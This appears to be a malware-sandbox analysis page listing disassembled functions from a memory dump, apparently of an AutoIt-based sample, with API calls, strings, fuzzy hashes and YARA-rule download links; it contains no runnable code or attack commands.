Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 24a57a7b867953aebafd1361ed22aa75aab13a39262001d6942f133da0ca585f
Instruction ID: 3d4141f20a5fc508513f492ad3557216f56412312efa91b20711c3675fd9a43e
Opcode Fuzzy Hash: 24a57a7b867953aebafd1361ed22aa75aab13a39262001d6942f133da0ca585f
Instruction Fuzzy Hash: 18414B74A012099FDB15CF68C881BDA7BB9FF09300F10456AE904EB345DB71A956CF90

Function 00352C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00352C6A
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00352CA0

Strings

|, xrefs: 00352C71

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 14ff30024c76f32becc94546b1ee82964a248e5024ced974263e33f19d89b3e2
Instruction ID: 7d3a0033bb34b15b02c5830ae7a9dd3aa28a2ca306a550cb6de966e1d97047c0
Opcode Fuzzy Hash: 14ff30024c76f32becc94546b1ee82964a248e5024ced974263e33f19d89b3e2
Instruction Fuzzy Hash: FF310771811219EBCF12AFA0CC85EEEBFB9FF15340F100069F915A6162DA315966DFA0

Function 00367088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 0036713C
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00367178

Strings

static, xrefs: 003670D8

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 759494f10498ad275c73de72ca742d94fc9b381ba83d31dd93f4e8a7dd8f8d4f
Instruction ID: 990a7de165970e734db478ec29e8bc46f07285460d074bf5c3bb3eef0c24e211
Opcode Fuzzy Hash: 759494f10498ad275c73de72ca742d94fc9b381ba83d31dd93f4e8a7dd8f8d4f
Instruction Fuzzy Hash: 7B319E71100604AAEB169F74CC80AFB73ADFF49724F519619F999C7191DA31AC91CB60

Function 00343049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003430B8
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003430F3

Strings

0, xrefs: 003430B1

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 700ec36a6a3ef7548028fc673229e48966a4bb7421d354b1e7b6e93751b9a8bd
Instruction ID: 19b87d310886b40f126b68ae98b9baca1b8aaf26542872a5d245c89d20d1a4af
Opcode Fuzzy Hash: 700ec36a6a3ef7548028fc673229e48966a4bb7421d354b1e7b6e93751b9a8bd
Instruction Fuzzy Hash: D831D631604305EBEB26AF58CC85FAEBBF9EF05350F154019E986AF1A1D770AB44CB51

Function 003540B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00354132

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Strings

, $, xrefs: 00354172
AUTOITCALLVARIABLE%d, xrefs: 00354124

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: c55dd0cdb0312d761e3b7dc5ca98f7585fe3113d3792c8ace7eca91088d1be1f
Instruction ID: 9d572a519cfcb46a404c45a62da80d3fcf58ccf81a89d193a2416157d3f34fb2
Opcode Fuzzy Hash: c55dd0cdb0312d761e3b7dc5ca98f7585fe3113d3792c8ace7eca91088d1be1f
Instruction Fuzzy Hash: 4E21C530A1021CAFCF16EF64C892EEEB7B8AF54741F404064F905AB141DB70EA95CBA1

Function 00366CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00366D86
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00366D91

Strings

Combobox, xrefs: 00366D53

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: a2b0c03d387d1c9fe62ea542d6f6077b0ec8a5ecf78a4d59a0b83cc1ec12ae95
Instruction ID: 87aa6dd4102be53f5c898bdc8dbd64f72b40e43cf2d2e247de7a68aa74f4f76d
Opcode Fuzzy Hash: a2b0c03d387d1c9fe62ea542d6f6077b0ec8a5ecf78a4d59a0b83cc1ec12ae95
Instruction Fuzzy Hash: 9E119871310208BFEF169F54DC82EFB7B6EEB843A4F118125F9189B294D671DC518760

Function 0036722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 002E2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002E214F
Part of subcall function 002E2111: GetStockObject.GDI32(00000011), ref: 002E2163
Part of subcall function 002E2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 002E216D

GetWindowRect.USER32(00000000,?), ref: 00367296
GetSysColor.USER32(00000012), ref: 003672B0

Strings

static, xrefs: 00367273

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 9431c9fdc74bd03746fb8781c14e353925b2fb7e1612fa14f608e07ad66b2a81
Instruction ID: 72f49e50d018c7c562932905cfd364673840f2957049a54392428cf1302aff5f
Opcode Fuzzy Hash: 9431c9fdc74bd03746fb8781c14e353925b2fb7e1612fa14f608e07ad66b2a81
Instruction Fuzzy Hash: 4221597261420AAFDB15DFB8CC45EFA7BA8EB09314F018A18FD55D3250E735E8A0DB60

Function 00366F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00366FC7
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00366FD6

Strings

edit, xrefs: 00366FAB

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: bc7b18d37308b3755c7dc29025650648cd5428c831f91d4af3a36d614384edf9
Instruction ID: dce2c3d96bde34114a622e4ca347c58650b055358fd19905a05ef3462a3a800c
Opcode Fuzzy Hash: bc7b18d37308b3755c7dc29025650648cd5428c831f91d4af3a36d614384edf9
Instruction Fuzzy Hash: D9116D71100208ABEB124E64AC96EFB3B6DEB053A4F118714F965DB1E4C735DCA09B60

Function 00343156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003431C9
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 003431E8

Strings

0, xrefs: 003431BF

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 7e999da0399a274cbd7394501017d68b4be15fd09a95ffa143d9852a67a5696b
Instruction ID: 2e4a9bb086cf0617cf0275a6c5b1c3ab9e9e343487da98c2862e75e01f62c6f3
Opcode Fuzzy Hash: 7e999da0399a274cbd7394501017d68b4be15fd09a95ffa143d9852a67a5696b
Instruction Fuzzy Hash: C111E231901114ABDB23FA98DC85B9D77FCEB06320F160162E816AF2A1D774BF05CB91

Function 002E34E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 002E351D
DestroyWindow.USER32(?,?,002F4E61), ref: 002E3576

Strings

h7, xrefs: 002E34E5

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: DeleteDestroyObjectWindow
String ID: h7
API String ID: 2587070983-3506068940
Opcode ID: 629444e8fcb40e9a143f92e16c56b32b4e960b07a03128f7368d1a532649cd73
Instruction ID: fe02fa27a0a436d9a64d4b83c76c5765b13e6cc0b5b6bd0ba53ac55337dd3eb1
Opcode Fuzzy Hash: 629444e8fcb40e9a143f92e16c56b32b4e960b07a03128f7368d1a532649cd73
Instruction Fuzzy Hash: 6A2130356682418FCB1ADF1ADC9D63533ECAB4A312F844169E4068B3A0C775DE60DF50

Function 003528A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 003528F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00352921

Strings

<local>, xrefs: 003528E9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 184df2bc0ce3644bd0be9ea51292a23ab03cf87816a74eaef821a70c89e8e987
Instruction ID: 32ecf9644ecb7b7b33ce1b282c6834fb28fc8327d91e40698203d28e3747b227
Opcode Fuzzy Hash: 184df2bc0ce3644bd0be9ea51292a23ab03cf87816a74eaef821a70c89e8e987
Instruction Fuzzy Hash: 0B11A370501226BAEB2A8F918C89EF7FBACFF06752F10412AF95556550E3706898D6E0

Function 0034D116 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 0034D180

Strings

L,7, xrefs: 0034D12E
0.0.0.0, xrefs: 0034D18E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _wcscmp
String ID: 0.0.0.0$L,7
API String ID: 856254489-856457947
Opcode ID: 1292c9b408b1d1d875f834534822205d5a0c3def0aac9f4cabca7f758c83d672
Instruction ID: 494f4f2cc922de1064c41a7e1741db87f7029193ed8e0bde5cdfed56a2378e08
Opcode Fuzzy Hash: 1292c9b408b1d1d875f834534822205d5a0c3def0aac9f4cabca7f758c83d672
Instruction Fuzzy Hash: B51191356402049FCB16EE65C981E9AB7F9AF85724F50C099FA0A6F3A1CA30FD42CB50

Function 00358475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 003586E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0035849D,?,00000000,?,?), ref: 003586F7

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 003584A0
htons.WSOCK32(00000000,?,00000000), ref: 003584DD

Strings

255.255.255.255, xrefs: 003584B8

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 4a2d20a3b5ac12f6703d6c843d1e066c8feff6e4c15aa96e89e06631efb9d752
Instruction ID: c40154809d2b2e10a2eb6299e972b00abf3ec9fcbecaba9dbc1ba55db7b52701
Opcode Fuzzy Hash: 4a2d20a3b5ac12f6703d6c843d1e066c8feff6e4c15aa96e89e06631efb9d752
Instruction Fuzzy Hash: F411A57560020AABDB25EF64DC46FBEB328FF04311F10452AFE15A7291DB71A818CA55

Function 003399BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 0033B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0033B7BD

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00339A2B

Strings

ListBox, xrefs: 003399F5
ComboBox, xrefs: 003399CA

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 7380cb39bac9776fce2b527a59c14a493d33b524cd8d64f82eb0355a7485c9f6
Instruction ID: be07f7a3979b13f8b3ebfa0b52d1ef12ce6a3c334fccea04ac6f5897554ebdff
Opcode Fuzzy Hash: 7380cb39bac9776fce2b527a59c14a493d33b524cd8d64f82eb0355a7485c9f6
Instruction Fuzzy Hash: 2401F571A51118EB8F15EBA4CC91DFEB369EF56360F40071AF9A2572C1DA315828DA50

Function 002EBBC6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 002EBC07

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

_wcscat.LIBCMT ref: 00323593

Strings

s:, xrefs: 002EBC47

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: s:
API String ID: 257928180-640640795
Opcode ID: 97c538808c1e6b02e0ea2ccad0d60ea9696d8261d4cf387eadc161410028d4af
Instruction ID: 9d49c6ef5eed5837d901039482ee367cf1f62062896ce0ee1926b3aad03e3bb3
Opcode Fuzzy Hash: 97c538808c1e6b02e0ea2ccad0d60ea9696d8261d4cf387eadc161410028d4af
Instruction Fuzzy Hash: 0D11EC34A5420C9BCB07EBA09941DDEB7A8FF09380B5000A6B948D7190DF7097945B50

Function 0034934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00349367
__fread_nolock.LIBCMT ref: 0034937C

Strings

EA06, xrefs: 003493AE

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 58163a01ad065a27a7faeb575433f5812f186a02352e5a4acd8c2563e050f980
Instruction ID: 9f859f5197716e608ea19f87d6b49eec43429e08eba3da3a0a166bc08aff477b
Opcode Fuzzy Hash: 58163a01ad065a27a7faeb575433f5812f186a02352e5a4acd8c2563e050f980
Instruction Fuzzy Hash: 4701B9729042587EDB19CAA8CC5AFFFBBFC9B15301F00419FF552D65C1E575A6048B60

Function 003398B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 0033B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0033B7BD

SendMessageW.USER32(?,00000180,00000000,?), ref: 00339923

Strings

ListBox, xrefs: 003398ED
ComboBox, xrefs: 003398C2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 6a55d1097ac85e1d2819196d073e0562df0cc3a7d0b9f04f879e1cc5960d01f0
Instruction ID: 3a447418ba9ba357e2626bb19fa51299d886607aea1aec289dc9fefd7a1c1f4a
Opcode Fuzzy Hash: 6a55d1097ac85e1d2819196d073e0562df0cc3a7d0b9f04f879e1cc5960d01f0
Instruction Fuzzy Hash: C701DB72E51108EBCF15EBA0C992FFFB3ACDF55340F50012AB94267291DB515E28DAB2

Function 0033993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 0033B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0033B7BD

SendMessageW.USER32(?,00000182,?,00000000), ref: 003399A6

Strings

ListBox, xrefs: 00339972
ComboBox, xrefs: 00339947

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: e2c910908f12a5ceabb923e8e3b2ab31a2636b9bb7281175a61085baa21d158b
Instruction ID: 1be9e27cfbb4e6ab5cbff5b5daa210a221367546b8bc3f07069fe2bf86e4bb9d
Opcode Fuzzy Hash: e2c910908f12a5ceabb923e8e3b2ab31a2636b9bb7281175a61085baa21d158b
Instruction Fuzzy Hash: A401DB72A51108E7CF16EBA4C992FFFB3ACDF11340F50012AB98563281DB654E2896B2

Function 00306D9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00306DC0
__calloc_crt.LIBCMT ref: 00306DD9

Strings

@b:, xrefs: 00306DF0

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __calloc_crt
String ID: @b:
API String ID: 3494438863-505185349
Opcode ID: 79422a1529929f736c1465462cea1f3799269ef3c8b51f0717430e99cbcb7157
Instruction ID: 4cf25b6dff39ebc084710e549678976793687c3a3eebe2b0240cf95448d81ea2
Opcode Fuzzy Hash: 79422a1529929f736c1465462cea1f3799269ef3c8b51f0717430e99cbcb7157
